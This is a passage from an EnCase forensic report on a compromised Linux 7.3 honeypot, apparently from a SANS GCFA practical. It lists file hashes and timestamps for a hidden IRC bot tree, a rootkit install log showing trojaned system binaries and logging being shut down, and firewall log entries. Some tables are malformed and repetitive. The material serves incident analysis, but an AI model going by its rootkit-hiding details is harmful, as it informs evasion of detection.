<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>85042620b5dd45a67c0280c9a3751793</td>
<td>28,672</td>
<td>25,812</td>
</tr>
<tr>
<td>file</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/file</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be376f98b0986ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28ddcc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
<tr>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28ddcc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
</tbody>
</table>
### IRC Files

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>a2p</td>
<td>Description File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\a2p</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>5da1e3d5a9112696f117b6c2256240e</td>
<td>110,592</td>
<td>106,681</td>
</tr>
<tr>
<td>services</td>
<td>Description File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\inetd\services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2ae6e849842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>randpickup.e</td>
<td>Description File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randpickup.e</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d052f6617d3228d1eb4dade64bd0529</td>
<td>3,072</td>
<td>2,495</td>
</tr>
<tr>
<td>Makefile.in</td>
<td>Description File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\Makefile.in</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>c4f62de42d6609f40e02f3885267e07f</td>
<td>3,072</td>
<td>2,495</td>
</tr>
</tbody>
</table>
# EnCase Computer Analysis Report

## Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Hash Value</th>
<th>f87636f121d2087482ee5cbea3934fb3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Physical Size</td>
<td>3,072</td>
</tr>
<tr>
<td>Logical Size</td>
<td>3,002</td>
</tr>
</tbody>
</table>

### 266) Name: commands.c

- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 02/27/01 07:15:16AM
- **Hash Value:** a1b52263b8a66d7c90fc549ef70230c4
- **Physical Size:** 41,984
- **Logical Size:** 41,966

**Comment:**

### 267) Name: dcc.c

- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.c
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 10/09/00 06:22:02PM
- **Hash Value:** e079886945868cdbd4a5e4952b4cbbb0
- **Physical Size:** 10,240
- **Logical Size:** 9,929

### 268) Name: global.h

- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\global.h
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 02/26/01 06:12:04PM
- **Hash Value:** c0f09ce5d8d0a233cf59a39a8fa089be
- **Physical Size:** 12,288
- **Logical Size:** 12,044

### 269) Name: structs.h

- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\structs.h
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:32:50PM
- **Last Written:** 02/26/01 04:27:42PM
- **Hash Value:** 7f4edf55bb5062c91208397b4c3738c
- **Physical Size:** 9,216
- **Logical Size:** 8,264

### 270) Name: config.h

- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\config.h
- **Entry Modified:** 06/29/03 03:32:50PM
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>combot.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/combot.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 01:50:54PM</td>
<td>3ac8152d92ce3822bd6eafe4a777da13</td>
<td>9,216</td>
<td>8,249</td>
</tr>
<tr>
<td>dcc.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/dcc.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:24PM</td>
<td>1568e3352c2d6b24cf7c7a6ba1923f0</td>
<td>68,608</td>
<td>67,624</td>
</tr>
<tr>
<td>function.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/function.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>cdc0ec786c371249b744c017c510fffd</td>
<td>74,752</td>
<td>74,052</td>
</tr>
<tr>
<td>main.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/main.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa655f66515d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
<tr>
<td>xmech.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/xmech.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa655f66515d29fd095b</td>
<td>81,920</td>
<td>81,328</td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------</td>
<td>------------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>276)</td>
<td>randinsult.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/randfiles/randinsult.e</td>
<td>4,096</td>
<td>3,982</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written: 10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value: a1b350ce4e068376627b4e9c36ebc9f7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>277)</td>
<td>randinsult.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/randfiles/randinsult.e</td>
<td>2,048</td>
<td>1,465</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written: 10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value: 0b252e189020453aad18b93913e44ec3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>278)</td>
<td>randversions.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/randfiles/randversions.e</td>
<td>28,672</td>
<td>28,470</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written: 02/27/01 07:14:04AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value: daf8812cc62b784f6d6a10e388288d7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>279)</td>
<td>com-ons.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/src/com-ons.c</td>
<td>28,672</td>
<td>28,470</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written: 02/27/01 07:14:04AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value: daf8812cc62b784f6d6a10e388288d7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>280)</td>
<td>defines.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/src/defines.h</td>
<td>28,672</td>
<td>28,470</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written: 02/27/01 07:14:04AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value: daf8812cc62b784f6d6a10e388288d7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------------------</td>
<td>-------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Written</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Physical Size</td>
<td>5,120</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Logical Size</td>
<td>4,508</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>h.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src/h.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>06/29/03 03:32:50PM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>02/26/01 06:00:24PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>8e0b21b02c62373ed8bca9974ee10776</td>
</tr>
<tr>
<td>Physical Size</td>
<td>16,384</td>
</tr>
<tr>
<td>Logical Size</td>
<td>15,681</td>
</tr>
<tr>
<td>Name</td>
<td>main.c</td>
</tr>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src/main.c</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>06/29/03 03:32:50PM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>10/22/00 10:47:20AM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>2fe83f9857e025c575945926d17a35b</td>
</tr>
<tr>
<td>Physical Size</td>
<td>22,528</td>
</tr>
<tr>
<td>Logical Size</td>
<td>22,527</td>
</tr>
<tr>
<td>Name</td>
<td>parse.c</td>
</tr>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src/parse.c</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>06/29/03 03:32:50PM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>10/09/00 06:22:02PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>57bdcdba9d9126a49472d85485bae729</td>
</tr>
<tr>
<td>Physical Size</td>
<td>10,240</td>
</tr>
<tr>
<td>Logical Size</td>
<td>10,190</td>
</tr>
<tr>
<td>Name</td>
<td>vars.c</td>
</tr>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src/vars.c</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>06/29/03 03:32:50PM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>10/09/00 06:22:02PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>57bdcdba9d9126a49472d85485bae729</td>
</tr>
<tr>
<td>Physical Size</td>
<td>10,240</td>
</tr>
<tr>
<td>Logical Size</td>
<td>10,190</td>
</tr>
<tr>
<td>Name</td>
<td>vars.c</td>
</tr>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src/vars.c</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
### EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>286)</td>
<td>cgfile.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cgfile.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
<td>0a445c0fa05cf6b6d3c4af0fc99ece2</td>
<td>71,680</td>
<td>71,392</td>
</tr>
<tr>
<td>287)</td>
<td>com-ons.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:22PM</td>
<td>1f39ee4b2d6e67ca4269eccf6d55e</td>
<td>92,160</td>
<td>91,656</td>
</tr>
<tr>
<td>288)</td>
<td>socket.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\socket.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:34PM</td>
<td>f24d2e6209d9af3cb33ef16714d5b035</td>
<td>56,320</td>
<td>55,316</td>
</tr>
<tr>
<td>289)</td>
<td>TODO</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\TODO</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d4179b6ed4a1928a7e13fe0f8773943e</td>
<td>2,048</td>
<td>1,569</td>
</tr>
<tr>
<td>290)</td>
<td>Makefile</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\Makefile</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hash Value: e452f0b4dab0676f4a2cd6e1a3abe570
Physical Size: 3,072
Logical Size: 2,147

291) Name: samba.tgz
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\samba.tgz
Entry Modified: 06/29/03 03:41:42PM
Last Accessed: 06/29/03 03:41:56PM
Last Written: 04/29/03 06:48:30AM
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3
Physical Size: 13,312
Logical Size: 13,183

Log files

Log file information
292) Name: cron.1
Entry Modified: 06/29/03 04:02:05AM
Last Accessed: 06/29/03 04:02:00AM
Last Written: 06/29/03 04:02:04AM
Hash Value: f8670b0876691e1f24dde35972127642
Comment: last log entries in cron.1 - normal

Jun 29 04:01:01 rh1 CROND[10319]: (root) CMD (run-parts /etc/cron.hourly)
Jun 29 04:02:00 rh1 CROND[10321]: (root) CMD (run-parts /etc/cron.daily)
Jun 29 04:02:04 rh1 anacron[10485]: Updated timestamp for job `cron.daily' to 2003-06-29

293) Name: access_log
Entry Modified: 06/29/03 03:36:49PM
Last Accessed: 06/30/03 04:02:03AM
Last Written: 06/29/03 03:36:49PM
Hash Value: e32d45931d3dd58258ce7bb86978cd02
Comment: httpd access log

XXX.XXX.XXX.108.64 -- [29/Jun/2003:15:06:18 -0600] "GET / HTTP/1.1" 400 409

Install log from /tmp/.s directory

294) Name: install.log
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM
Hash Value 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd

Shutting down kernel logger: [ OK ]
Shutting down system logger: [ OK ]
touch: getting attributes of `ps': No such file or directory
touch: getting attributes of `ls': No such file or directory

<table>
<thead>
<tr>
<th>ps</th>
<th>failed</th>
</tr>
</thead>
<tbody>
<tr>
<td>top</td>
<td>OK</td>
</tr>
<tr>
<td>pstree</td>
<td>failed</td>
</tr>
<tr>
<td>pstree</td>
<td>killall</td>
</tr>
<tr>
<td>KILLALL</td>
<td>OK</td>
</tr>
<tr>
<td>ls-dir-vdir</td>
<td>failed</td>
</tr>
<tr>
<td>ls-dir-vdir</td>
<td>find</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>FIND</th>
<th>OK</th>
</tr>
</thead>
<tbody>
<tr>
<td>find</td>
<td>du</td>
</tr>
<tr>
<td>du</td>
<td>OK</td>
</tr>
<tr>
<td>netstat</td>
<td>OK</td>
</tr>
<tr>
<td>netstat</td>
<td>OK</td>
</tr>
</tbody>
</table>
**EnCase Computer Analysis Report**

*Sans GCFA Cert Assignment/EnCase Computer Analysis Report*

**Var partition from Logserver**

**Device**
- Evidence Number: Var partition from logserver
- File Path: C:/Sans/evidence files/Var partition from logserver.E01
- Actual Date: 10/14/03 09:07:37PM
- Target Date: 10/14/03 09:07:37PM
- Total Size: 1,073,709,056 bytes (1,024.0MB)
- Total Sectors: 2,097,088
- File Integrity: Completely Verified, 0 Errors
- EnCase Version: 4.15
- System Version: Windows XP
- Acquisition Hash: CB51CFD7889DE261C0B94456C9D68819
- Verify Hash: CB51CFD7889DE261C0B94456C9D68819

Logging events recovered from unallocated Clusters on /var partition of Logserver.

**Logs before logging shutdown on Linux 7.3 system**

<table>
<thead>
<tr>
<th>Name</th>
<th>Unallocated Clusters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Entry Modified</td>
<td></td>
</tr>
<tr>
<td>Last Accessed</td>
<td></td>
</tr>
<tr>
<td>Last Written</td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td></td>
</tr>
</tbody>
</table>

Comment: Firewall Log from log Server - before logging shutdown

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAP flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 31 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 34 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 35 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 msg="FILT ER: 34 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34990 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2

Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 msg="FILT ER: 35 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=4 flt_type=...
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35008 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35008 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35009 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 55 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35010 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35011 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35012 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 59 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35013 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35014 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
